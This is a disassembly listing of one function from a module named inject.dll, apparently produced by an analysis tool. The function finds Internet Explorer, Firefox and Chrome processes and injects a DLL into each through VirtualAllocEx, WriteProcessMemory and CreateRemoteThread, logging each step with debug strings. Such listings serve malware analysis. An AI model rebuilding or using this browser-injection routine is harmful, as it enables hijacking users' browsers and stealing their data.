Function at 0x6f84170e
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa74
mov eax, dword [sym.inject.dll___CreateToolhelp32Snapshot]
mov dword [esp + 4], 0
mov dword [esp], 2
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x254], 0x128
mov edx, dword [sym.inject.dll___Process32First]
lea eax, [ebp - 0x254]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call edx
sub esp, 8
test eax, eax
je 0x6f841bcf
jmp 0x6f841bac
lea eax, [ebp - 0x254]
add eax, 0x24
mov dword [esp], eax
call sym.inject.dll___strlwr
mov eax, dword [sym.inject.dll___memcmp]
mov dword [esp + 8], 0xc
mov dword [esp + 4], str.iexplore.exe
lea edx, [ebp - 0x254]
add edx, 0x24
mov dword [esp], edx
call eax
test eax, eax
je 0x6f8417f0
mov eax, dword [sym.inject.dll___memcmp]
mov dword [esp + 8], 0xb
mov dword [esp + 4], str.firefox.exe
lea edx, [ebp - 0x254]
add edx, 0x24
mov dword [esp], edx
call eax
test eax, eax
je 0x6f8417f0
mov eax, dword [sym.inject.dll___memcmp]
mov dword [esp + 8], 0xa
mov dword [esp + 4], str.chrome.exe
lea edx, [ebp - 0x254]
add edx, 0x24
mov dword [esp], edx
call eax
test eax, eax
jne 0x6f841bac
mov dword [esp], str.found_process__delaying_and_checking..._n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov eax, dword [sym.inject.dll___Sleep]
mov dword [esp], 0x9c4
call eax
sub esp, 4
lea eax, [ebp - 0x254]
add eax, 0x24
mov dword [esp], eax
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov eax, dword [ebp - 0x24c]
mov dword [esp], eax
call sym.inject.dll_CheckUnblock
test eax, eax
je 0x6f84184a
mov dword [esp], str.process_WILL_NOT_receive_inject_because_of_COM__n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
jmp 0x6f841bac
mov edx, dword [sym.inject.dll___OpenProcess]
mov eax, dword [ebp - 0x24c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call edx
sub esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [esp], str.opened_process__n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov eax, dword [sym.inject.dll___memset]
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea edx, [ebp - 0x12c]
add edx, 8
mov dword [esp], edx
call eax
mov ebx, dword [sym.inject.dll___lstrcpyn]
mov edx, dword [sym.inject.dll___lstrlen]
mov eax, dword [ebp + 8]
mov dword [esp], eax
call edx
sub esp, 4
inc eax
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x12c]
add eax, 8
mov dword [esp], eax
call ebx
sub esp, 0xc
mov ebx, dword [sym.inject.dll___GetProcAddress]
mov eax, dword [sym.inject.dll___GetModuleHandle]
mov dword [esp], str.kernel32
call eax
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [ebp - 0x12c], eax
mov ebx, dword [sym.inject.dll___GetProcAddress]
mov eax, dword [sym.inject.dll___GetModuleHandle]
mov dword [esp], str.kernel32
call eax
sub esp, 4
mov dword [esp + 4], str.ExitThread
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [ebp - 0x128], eax
mov edx, dword [sym.inject.dll___VirtualAllocEx]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], 0x10c
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov edx, dword [sym.inject.dll___VirtualAllocEx]
mov ecx, sym.inject.dll_LoopInject_4
mov eax, sym.inject.dll_Inject_4
mov ebx, ecx
sub ebx, eax
mov eax, ebx
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp], str.memory_allocated__n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
lea eax, [ebp - 0x12c]
add eax, 8
mov dword [esp], eax
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov edx, dword [sym.inject.dll___WriteProcessMemory]
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x10c
lea eax, [ebp - 0x12c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 0x14
mov edx, dword [sym.inject.dll___WriteProcessMemory]
mov ecx, sym.inject.dll_LoopInject_4
mov eax, sym.inject.dll_Inject_4
sub ecx, eax
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], sym.inject.dll_Inject_4
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 0x14
mov dword [esp], str.memory_written__n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov ecx, dword [sym.inject.dll___CreateRemoteThread]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call ecx
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp], str.created_thread__n
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
cmp dword [ebp - 0x1c], 0
je 0x6f841aaf
mov edx, dword [sym.inject.dll___WaitForSingleObject]
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call edx
sub esp, 8
call sub.KERNEL32.dll_GetLastError
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x18], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str.info:_x__x__x__x__x_n
lea eax, [ebp - 0xa54]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0xa54]
mov dword [esp], eax
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov edx, dword [sym.inject.dll___VirtualFreeEx]
mov dword [esp + 0xc], 0x4000
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 0x10
mov edx, dword [sym.inject.dll___VirtualFreeEx]
mov dword [esp + 0xc], 0x4000
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 0x10
mov edx, dword [sym.inject.dll___VirtualFreeEx]
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 0x10
mov edx, dword [sym.inject.dll___VirtualFreeEx]
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 0x10
mov edx, dword [sym.inject.dll___CloseHandle]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call edx
sub esp, 4
mov edx, dword [sym.inject.dll___Process32Next]
lea eax, [ebp - 0x254]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call edx
sub esp, 8
test eax, eax
jne 0x6f841766
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret 4